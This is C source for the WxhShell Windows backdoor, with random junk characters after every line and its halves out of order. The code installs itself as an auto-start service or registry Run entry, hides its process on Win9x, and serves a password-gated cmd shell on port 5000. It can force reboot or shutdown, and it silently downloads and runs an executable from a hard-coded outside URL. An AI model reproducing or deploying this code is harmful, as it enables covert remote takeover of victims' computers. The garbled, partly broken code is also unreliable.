    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L+7j4:$B8  
    if(Boot(SHUTDOWN)) l@Vl^f~P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); woJO0hHR  
    else { =e/{fUg8f  
    closesocket(wsh); 'f9 fw^  
    ExitThread(0); 5n,?>> p$  
    } E.]sX_X?  
    break; PR=:3-#R  
    } 6R V]9  
  // 获取shell ^GG6%=g'  
  case 's': { Hxft~*  
    CmdShell(wsh); 77- Jx`C  
    closesocket(wsh); sw{,l"]<  
    ExitThread(0); 76a+|TzR  
    break; vr<6j/ty  
  } W-:gU!{*#  
  // 退出 w?6"`Mo  
  case 'x': { FN5*pVD;<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O^v^GG=e;C  
    CloseIt(wsh); |Ui1Mm  
    break; 4:-h\%  
    } !uLW-[F,  
  // 离开 QLYb>8?"C  
  case 'q': { lwhAF, '$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iva&W  
    closesocket(wsh); W8j)2nKD  
    WSACleanup(); L DD^X@q  
    exit(1); OI"vC1.5  
    break; /gZrnd?  
        } vdrV)^  
  } S~fQ8t70  
  } $e#p -z  
l\7NR  
  // 提示信息 4Y5Q>2D}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B RF=TL5Z  
} ',k0 _n?t  
  } K*Y.mM)  
:nYl]Rm  
  return; }R:eKj  
} ^& ZlV  
ab8uY.j  
// shell模块句柄 8`Fo^c=j  
int CmdShell(SOCKET sock) Z.+-MNWV  
{ ^OKCvdS  
STARTUPINFO si; Szrr`.']  
ZeroMemory(&si,sizeof(si)); 8MgoAX,p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )tGeQXVhbJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u"r~5  
PROCESS_INFORMATION ProcessInfo; pOQ'k>!  
char cmdline[]="cmd"; sJ)XoK syW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ''S*B|:  
  return 0; 4`5jq)  
} Jr m<u t  
AVyO5>w  
// 自身启动模式 v;" [1w}  
int StartFromService(void) vt}+d StUm  
{ 8qL*Nf  
typedef struct Xk%92Pto  
{ g#qt<d}j  
  DWORD ExitStatus; @ROMHMd}  
  DWORD PebBaseAddress; @0A7d $J(  
  DWORD AffinityMask; !qPVC\l  
  DWORD BasePriority; Cw]& B  
  ULONG UniqueProcessId; hXdc5 ?i?  
  ULONG InheritedFromUniqueProcessId; +c5z-X$^]  
}   PROCESS_BASIC_INFORMATION; <wUDcF  
}N^.4HOS8  
PROCNTQSIP NtQueryInformationProcess; h}fz`ti U  
d)F~)}TFM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; & .VciSq6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o5KpiibFM  
XL>v$7`#  
  HANDLE             hProcess; x'_I{$C &  
  PROCESS_BASIC_INFORMATION pbi; ^l|{*oj2  
WCT}OiLsL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /n;-f%dL  
  if(NULL == hInst ) return 0; Lbk?( TL  
3a #2 }  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rlr)n\R#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :&ir5xHS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <4S Y'-w  
IMLk{y%6  
  if (!NtQueryInformationProcess) return 0; O\;Z4qn2=  
d;O16xcM/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GlYNC&,VL  
  if(!hProcess) return 0; -C]RFlV  
y?j#;n0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ogQY"c8  
ei)ljvvmHP  
  CloseHandle(hProcess); D+?/MrP  
4eTfb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s>(OK.o  
if(hProcess==NULL) return 0; }eh<F^  
7K3S\oPej  
HMODULE hMod; -b+VzVJZ  
char procName[255]; Cm g(# $ X  
unsigned long cbNeeded; Q!8AFLff4  
(hej 3;W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r'xZF~}k"~  
QP f*!E  
  CloseHandle(hProcess); xo2PxUO  
heJI5t,  
if(strstr(procName,"services")) return 1; // 以服务启动  nN1\  
Yy`\??,  
  return 0; // 注册表启动 gV@FT|j!i  
} - &u]B$  
Jm&7&si7  
// 主模块 Qa@b-v'by  
int StartWxhshell(LPSTR lpCmdLine) Iko1%GJ1Z  
{ U_ n1QU  
  SOCKET wsl; KdI X`  
BOOL val=TRUE; v3!oY t:l  
  int port=0; 'fO[f}oa_.  
  struct sockaddr_in door; 9}^nozR,I  
y}5V3)P  
  if(wscfg.ws_autoins) Install(); |}s)Wo  
eMyh&@7(F  
port=atoi(lpCmdLine); Vm}OrFA  
S]&f+g}&w  
if(port<=0) port=wscfg.ws_port; sy`@q<h(  
_u TaN  
  WSADATA data; tE3#Uq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^`>,~$Q  
/f_w@TR\{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3lzjY.]Pgv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9jq}`$S{  
  door.sin_family = AF_INET; +bpUb0.W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D/QSC]"  
  door.sin_port = htons(port);  >d-By  
("07t/||  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R6l`IlG`  
closesocket(wsl); ^R- -&{I  
return 1; 6'CZfs\  
} h[~JCYA  
D^qto{!  
  if(listen(wsl,2) == INVALID_SOCKET) { )H@"S]?7i"  
closesocket(wsl); ..BIoSrj  
return 1; ~I[Z 2&I  
} "TW%-67  
  Wxhshell(wsl); y#F`yXUj  
  WSACleanup(); GaV6h|6_  
Q@]~O-  
return 0; _8x:%$   
u#(VR]u\7  
} {Q9?Q?  
kT6h}d^/^  
// 以NT服务方式启动 {8+FxmH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FYPv:k   
{ .j"iJ/  
DWORD   status = 0; }j<:hD QP  
  DWORD   specificError = 0xfffffff; P^9y0Q  
}-YM>q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JSz;>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pG"pvfEl9f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <u "xHl8Io  
  serviceStatus.dwWin32ExitCode     = 0; 4<%(Y-_sF  
  serviceStatus.dwServiceSpecificExitCode = 0; .. jc^'L  
  serviceStatus.dwCheckPoint       = 0; cbe&SxJ  
  serviceStatus.dwWaitHint       = 0; r7B.@+QK  
Do1 Ip&X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .\Gl)W  
  if (hServiceStatusHandle==0) return; g7\MFertR^  
|v,%!p s  
status = GetLastError(); 9N1Uv,OtB  
  if (status!=NO_ERROR) matW>D;J  
{ h-r\ 1{Q1]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r{NCI  
    serviceStatus.dwCheckPoint       = 0; P5$d#Y(=  
    serviceStatus.dwWaitHint       = 0; 0 D^d-R,  
    serviceStatus.dwWin32ExitCode     = status; \dvzL(,  
    serviceStatus.dwServiceSpecificExitCode = specificError; BK>3rjXi>a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {jz?LM  
    return; O^|:q  
  } D{'>G@nLQ  
J,N='~kfh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Cj{+DXT  
  serviceStatus.dwCheckPoint       = 0; p;8I@~dh  
  serviceStatus.dwWaitHint       = 0; d^uE4F}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Dh+-}  
} KX8$j$yW  
\Af25Mcf:  
// 处理NT服务事件,比如:启动、停止 Qm9r>m6p@N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >ZRCM  
{ {#?$ p i[  
switch(fdwControl) vNdMPulr{  
{ <'(O0  
case SERVICE_CONTROL_STOP: ~x67v+I  
  serviceStatus.dwWin32ExitCode = 0; $z1W0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sKE7U>mz|  
  serviceStatus.dwCheckPoint   = 0; [=3f:>ssm  
  serviceStatus.dwWaitHint     = 0; >~%!#,C(|U  
  { $MW-c*5a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Sjr*)<@j  
  } w4:|Z@I  
  return; p7SX,kpt>  
case SERVICE_CONTROL_PAUSE: !+bLh W`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m .:2G  
  break; h\qQ%|X  
case SERVICE_CONTROL_CONTINUE: Cu2eMUGt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y9}5&#  
  break; jVW .=FK  
case SERVICE_CONTROL_INTERROGATE: 1=U(ZX+u  
  break; 5a8[0&hA 2  
}; IZ9L ;"}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R\i8O^[  
} s,z$Vt"h*K  
^)i5.o\  
// 标准应用程序主函数 :eHD{=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) He&7(mQ0^  
{ 4c})LAwd&  
*:r6E  
// 获取操作系统版本 ?WVp,vP  
OsIsNt=GetOsVer(); LUPh!)8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _ aJo7  
Z~X\Z.  
  // 从命令行安装 v w.rkAGY  
  if(strpbrk(lpCmdLine,"iI")) Install(); oc|%|pmRd<  
.$o0$`}  
  // 下载执行文件 %R?B=W7 ;Q  
if(wscfg.ws_downexe) { K[,d9j`^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *s=jKV#  
  WinExec(wscfg.ws_filenam,SW_HIDE); G 51l_  
} XIep3l*  
eT!*_.' e  
if(!OsIsNt) { DHI%R<  
// 如果时win9x,隐藏进程并且设置为注册表启动 $m hIX A.  
HideProc();  AqqD!  
StartWxhshell(lpCmdLine); st7\k]J\  
} to2#PXf]y  
else N~=,RPjq  
  if(StartFromService()) {pWb*~!k  
  // 以服务方式启动 E \p Qh  
  StartServiceCtrlDispatcher(DispatchTable); Xl/ SDm_p  
else rofGD9f   
  // 普通方式启动 ~8oti4  
  StartWxhshell(lpCmdLine); 8D H~~by  
4J~ZZ  
return 0; bUcEQGHcZ=  
} bU3P; a(  
{4C/ZA{|l  
J2_~iC&;s  
B,x ohT  
=========================================== \Fh#CI  
bmid;X|  
fen~k#|l  
+VSq[P  
jV|j]m&t  
~10>mg  
" },]G +L;R  
$ [t7&e  
#include <stdio.h> {s{ bnU  
#include <string.h> ;q"Yz-3  
#include <windows.h> ~[N"Q|D3Y  
#include <winsock2.h> }CM</  
#include <winsvc.h> av8\?xmo.$  
#include <urlmon.h> HL`=zB%  
uY_vX\;67z  
#pragma comment (lib, "Ws2_32.lib") ?'8(']/  
#pragma comment (lib, "urlmon.lib") VG=mA4Dd  
 fOUW{s  
#define MAX_USER   100 // 最大客户端连接数 78MQoG<  
#define BUF_SOCK   200 // sock buffer RE<s$B$[  
#define KEY_BUFF   255 // 输入 buffer sw\O\%^  
\@8.BCWK  
#define REBOOT     0   // 重启 W'xJh0o  
#define SHUTDOWN   1   // 关机 `;c{E%qeq  
2=%R>&]*  
#define DEF_PORT   5000 // 监听端口 )IFFtU~,  
Cu $mb}@  
#define REG_LEN     16   // 注册表键长度 f(*ygI  
#define SVC_LEN     80   // NT服务名长度 2?}5U)Hg  
\RF{ITV$kD  
// 从dll定义API Lu.C+zgQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~u.( (GM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r7zS4;b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xX:N-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a W9_[#z5  
{/2 _"H3:  
// wxhshell配置信息 FhFP M)[  
struct WSCFG { l h]Q\  
  int ws_port;         // 监听端口 05ZF>`g*  
  char ws_passstr[REG_LEN]; // 口令 ytyX:e"  
  int ws_autoins;       // 安装标记, 1=yes 0=no S)\Yc=~h  
  char ws_regname[REG_LEN]; // 注册表键名 Ve9*>6i&-4  
  char ws_svcname[REG_LEN]; // 服务名 U{Xx)l/o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gLzQM3{X9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q(s&2|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [B1h0IR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q13>z%Rge  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uG^RU\(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]w5j?h"b  
zf.&E3Sn  
}; tPz!C&.=  
Naa "^  
// default Wxhshell configuration YsA.,   
struct WSCFG wscfg={DEF_PORT, 0ME.O +  
    "xuhuanlingzhe", ZD#{h J-  
    1, 1=Y pNXX  
    "Wxhshell", 3q)y;T\yW  
    "Wxhshell", [eLU}4v{  
            "WxhShell Service", %|o2d&i  
    "Wrsky Windows CmdShell Service", LEJn 1  
    "Please Input Your Password: ", V6a+VfH  
  1, 1MYA/l$  
  "http://www.wrsky.com/wxhshell.exe", w(cl,W/w  
  "Wxhshell.exe" *Hed^[sO  
    }; +sm9H"_0  
>`)IdX  
// 消息定义模块 9 lH00n+'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %Q.|qyq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z_WJgH2c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <E1ngG  
char *msg_ws_ext="\n\rExit."; vE$n0bL2  
char *msg_ws_end="\n\rQuit."; ){FXonVP  
char *msg_ws_boot="\n\rReboot..."; S*Hv2sl  
char *msg_ws_poff="\n\rShutdown..."; $(N+E,XB  
char *msg_ws_down="\n\rSave to "; oeF0t'%  
Tq,xW  
char *msg_ws_err="\n\rErr!"; jlb=]hp8%  
char *msg_ws_ok="\n\rOK!"; h$_5)d~  
DEN (pA\  
char ExeFile[MAX_PATH]; a8v9j3.  
int nUser = 0; hw)#TEt   
HANDLE handles[MAX_USER]; 35 3*D%8  
int OsIsNt; $Y=xu2u)  
Xb\de_8!  
SERVICE_STATUS       serviceStatus; AEO7I f@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ns5'K^  
Nny#}k Bt  
// 函数声明 BU=;rz!;  
int Install(void); wpV)y Q^  
int Uninstall(void); QvvH/u  
int DownloadFile(char *sURL, SOCKET wsh); RDsBO4RG  
int Boot(int flag);  K>S:Z  
void HideProc(void); XyrQJ}WR|  
int GetOsVer(void);  Mcm%G#  
int Wxhshell(SOCKET wsl); iVAAGZ>am  
void TalkWithClient(void *cs); u[+/WFH  
int CmdShell(SOCKET sock); _6Qb 3tl  
int StartFromService(void); ^7,`6g  
int StartWxhshell(LPSTR lpCmdLine); "|6763.{4  
U^ Ulj/%6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o8!uvl}:9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7J[s5'~|  
LY1dEZ-)A  
// 数据结构和表定义 Jt|W%`X>D  
SERVICE_TABLE_ENTRY DispatchTable[] = l#^weXSlk  
{ "c*&~GSE4  
{wscfg.ws_svcname, NTServiceMain}, r"_SL!,^  
{NULL, NULL} (^mpb  
}; =VvQ 2Y0h8  
0.lOSAq  
// 自我安装 U?&&yynK  
int Install(void) SU>cJ*  
{ _8ubo\M~  
  char svExeFile[MAX_PATH]; /& wA$h  
  HKEY key; /@feY?glc  
  strcpy(svExeFile,ExeFile); &)GlLpaT  
5rlZ'>I.  
// 如果是win9x系统,修改注册表设为自启动 s8|F e_  
if(!OsIsNt) { @8"cT-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (c|Ry[$|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =L9;8THY  
  RegCloseKey(key); Wj"GS!5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r0j+P%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 09sdt;V Q  
  RegCloseKey(key); Ot([5/K  
  return 0; $i;_yTht  
    } x A"V!8C  
  } )Oix$B!-  
} <= Aqi91  
else {  LAO2Py#  
z\r29IRh  
// 如果是NT以上系统,安装为系统服务 =x5k5NIF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SJ).L.Cm6  
if (schSCManager!=0) (ioJ G-2u  
{ _ m<@ou7  
  SC_HANDLE schService = CreateService _ Y8j l,J  
  ( J*m ~fZ^  
  schSCManager, 8c5%~}kG  
  wscfg.ws_svcname, R~H+.Vh  
  wscfg.ws_svcdisp, +?bjP6w_g  
  SERVICE_ALL_ACCESS, z,IUCNgM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H:!pFj  
  SERVICE_AUTO_START, 4$MV]ldUI  
  SERVICE_ERROR_NORMAL, ,@r 0-gL  
  svExeFile, 'q, L*  
  NULL, !B:wzb_  
  NULL, +MvO+\/  
  NULL, Rn5{s3?F~2  
  NULL,  YW'l),Z  
  NULL {LoNp0i1a  
  ); R(W}..U0R"  
  if (schService!=0) -,^Z5N#\|  
  { XG;Dj<Dm  
  CloseServiceHandle(schService); @@} ]qT*  
  CloseServiceHandle(schSCManager); f&88N<)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @r9[&  
  strcat(svExeFile,wscfg.ws_svcname); ,pR.HCR#Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QrRnXlE M8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |eEXCn3{  
  RegCloseKey(key); f/3rcYR;y  
  return 0; zsmlXyP'e!  
    } 1y7FvD~v  
  } jzAXC^FS  
  CloseServiceHandle(schSCManager); -@?4Tfl  
} =v49[i  
}  MKZq*  
>o|.0aw<  
return 1; Bl/Z _@  
} #bmbK{[  
(Qj;B)  
// 自我卸载 k5o{mWI b  
int Uninstall(void) }^]TUe@a  
{ pfF2!`7pI  
  HKEY key; !G~`5?CvE  
hd~0qK  
if(!OsIsNt) { bguTWI8bk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~U<=SyZYo  
  RegDeleteValue(key,wscfg.ws_regname); W:V.\  
  RegCloseKey(key); rhj_cw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N%fDgK  
  RegDeleteValue(key,wscfg.ws_regname); 9/$Cq  
  RegCloseKey(key); VkZ3Q7d  
  return 0;  re@;6o  
  } EN;4EC7tE  
} "eZ~]m}L0  
} UB3hC`N\  
else { \CVrLn;}  
c%5Suu( J6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /[,0,B9!3  
if (schSCManager!=0) p%ZAVd*|#V  
{ N.dcQQ_iS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,FWsgqL{l  
  if (schService!=0) a&%v^r[  
  { y[d>7fcf  
  if(DeleteService(schService)!=0) { KkyZd9  
  CloseServiceHandle(schService); 'QQa :3<x  
  CloseServiceHandle(schSCManager); WWN2  
  return 0; cNiNLwc  
  } mae@L  
  CloseServiceHandle(schService); \.Z /  
  } &*9 ' 0  
  CloseServiceHandle(schSCManager); ?#Y1E~N  
} "mB /"  
} K-4o_:F  
J>Bc-%.Q  
return 1; H-jxH,mJmW  
} (Ky$(Ubb#6  
.'zcD^  
// 从指定url下载文件 ,)Z1&J?  
int DownloadFile(char *sURL, SOCKET wsh) *Z2#U ?_  
{ +XpQ9Cd  
  HRESULT hr; !MEA@^$#  
char seps[]= "/"; cg_j.=M-  
char *token; m e2$ R>@  
char *file; (Z?g^kjq)  
char myURL[MAX_PATH]; Dgm"1+  
char myFILE[MAX_PATH]; (gjCm0#_%  
h1Logm+m  
strcpy(myURL,sURL); uy8mhB+]  
  token=strtok(myURL,seps); !m6=Us  
  while(token!=NULL) s(cC ;  
  { W ![*0pL  
    file=token; ?$~5ti#\  
  token=strtok(NULL,seps); ^EcwY- Qr  
  } ; ~#uH7k  
k`NXYf:  
GetCurrentDirectory(MAX_PATH,myFILE); :[?65q{  
strcat(myFILE, "\\"); |C}=  1  
strcat(myFILE, file); 8RjFp2) W  
  send(wsh,myFILE,strlen(myFILE),0); wPl9%  
send(wsh,"...",3,0); Tno 0Q +  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B~47mw&b  
  if(hr==S_OK) A+ LX37B  
return 0; 8B7~Nq'  
else XU6SYC"t%~  
return 1; /5m~t.Z9M  
wPxtQv  
} y)mtSA8  
9F2MCqvcm  
// 系统电源模块 1-}M5]Y  
int Boot(int flag) T~)R,OA7m  
{ l\ HtP7]  
  HANDLE hToken; +%? \#EQJ  
  TOKEN_PRIVILEGES tkp; Y} crE/  
\ k &ZA  
  if(OsIsNt) { "GB493=v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U[ |o!2$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8XD_p);Oy  
    tkp.PrivilegeCount = 1; |6 E !wW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N7-LgP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S#N4!"  
if(flag==REBOOT) { StU9r0`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^ wb9n  
  return 0; BQL](Y "  
} \T {<{<n  
else { ca,U>'(y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S3gd'Bahq  
  return 0; 1;JH0~403  
} jS4 fANG  
  } J=Hyoz+9  
  else { ^b6yN\,S  
if(flag==REBOOT) { *}=z^;_oq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >j)y7DSE  
  return 0; 3Uy(d,N  
} z?  Ck9  
else { 7',WLuD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) . H9a  
  return 0; FQM9>l@6)>  
} jf=\\*64r4  
} E(Zm6~  
zXML<?w  
return 1; Ir6g"kwCKq  
} 8K2=WYN  
Le*gdoW.  
// win9x进程隐藏模块 &;[e  
void HideProc(void) PGhYkj2  
{ b=XHE1^rM  
f{)nxd >#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YcN&\(  
  if ( hKernel != NULL ) RL b o  
  { 1"~$(@oxG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0,j!*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }NKnV3G/Z  
    FreeLibrary(hKernel); S^A+Km3VB  
  } 0ni/!}YP_  
p{[(4}ql  
return; 2X6L'!=  
} nx@,oC4  
Y'76!Y  
// 获取操作系统版本 9](RZ6A+o  
int GetOsVer(void) d$:LUxM#  
{ DVjwY_nG7  
  OSVERSIONINFO winfo; 4P^CqD&i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v0KJKrliGO  
  GetVersionEx(&winfo); k1~? }+<e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ="de+S8W  
  return 1; >*WT[UU  
  else Z+2 j(  
  return 0; 1!Afq}|  
} "mc ]^ O  
Or :P*l  
// 客户端句柄模块 mq+<2 S  
int Wxhshell(SOCKET wsl) ]MnQ3bWq"j  
{ =)nJ'}x  
  SOCKET wsh; G{gc]7\=Cd  
  struct sockaddr_in client; _FkIg>s  
  DWORD myID; f"t+r /d  
i0rh {Ko  
  while(nUser<MAX_USER) +!$]a^3l  
{ 96i #  
  int nSize=sizeof(client); :*MR$Jf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >1hhz  
  if(wsh==INVALID_SOCKET) return 1; Wv]ODEd  
5IfC8drAs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z oZ10?ojC  
if(handles[nUser]==0) /i(R~7;?  
  closesocket(wsh); ##nC@h@  
else yaYJmhG  
  nUser++; f0 kz:sZ9  
  } $ EexNz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C/MQY:X4  
J=b 'b%  
  return 0; R)6"P?h._4  
} ]E^)d|_  
yaPx=^&  
// 关闭 socket vrIWw?/z?  
void CloseIt(SOCKET wsh) ;Q0H7)t:  
{ OJD!Ar8Q  
closesocket(wsh); a?@lX>Z  
nUser--; a(lmm@;V<  
ExitThread(0); X=V2^zrt  
} 8=OpX,t(  
rUZ09>nDy  
// 客户端请求句柄 +h8`8k'}-2  
void TalkWithClient(void *cs) UmG|_7  
{ BbhC 0q"J  
.yB{+  
  SOCKET wsh=(SOCKET)cs; RcOfesW o  
  char pwd[SVC_LEN]; C(kL=WD   
  char cmd[KEY_BUFF]; EkoT U#w5  
char chr[1]; ?X$*8;==6  
int i,j; -|I_aOC@  
h_6c9VI  
  while (nUser < MAX_USER) { pd-I^Q3-  
!V-(K_\t  
if(wscfg.ws_passstr) { >Q:h0b_$U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K9ek  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @a,} k<@E  
  //ZeroMemory(pwd,KEY_BUFF); 1NkJs&  
      i=0; dUv(Pu(.#  
  while(i<SVC_LEN) { 6pbtE]  
9ePom'1f1  
  // 设置超时 77-G*PI*I  
  fd_set FdRead; >L433qR  
  struct timeval TimeOut; ~.CmiG.7  
  FD_ZERO(&FdRead); N v6=[_D  
  FD_SET(wsh,&FdRead); qWD(rq+9  
  TimeOut.tv_sec=8; O bc>f|l]  
  TimeOut.tv_usec=0; hGRHuJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q4Mv2SPT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m .R**g  
0+/ew8~$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a}X. ewg  
  pwd=chr[0]; t \-|J SZ  
  if(chr[0]==0xd || chr[0]==0xa) { D9!$H!T _  
  pwd=0; ~ 1~|/WG  
  break; ZE9.r`  
  } V=<AI.Z:w  
  i++; g]E3+:5dk  
    }  F |aLF{  
gv1y%(`|n(  
  // 如果是非法用户,关闭 socket !C ZFbz~:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }=|plz}  
} Ey% KbvNv  
]K QQdr   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zgo%Jo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &0]5zQ  
HSVl$66  
while(1) { }i J$&CJ  
tV h"C%Vkr  
  ZeroMemory(cmd,KEY_BUFF); ] !n3j=*   
Pbt7T Q  
      // 自动支持客户端 telnet标准   IyAD>Q^  
  j=0; @M"( r"ab  
  while(j<KEY_BUFF) { :*s@L2D6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D 9UM8Hxi  
  cmd[j]=chr[0]; k 7:Z\RGy  
  if(chr[0]==0xa || chr[0]==0xd) { U+zntB  
  cmd[j]=0; R2JPLvs  
  break; J$lfI^^  
  } %M:$ML6b<  
  j++; fk!9` p'  
    } sG\K$GP!  
sKk+^.K}|  
  // 下载文件 *K BaKS  
  if(strstr(cmd,"http://")) { =}YX I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !j}L-1*{ l  
  if(DownloadFile(cmd,wsh)) 4W}mPeEeV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /EuH2cy$l  
  else yCN?kHG  
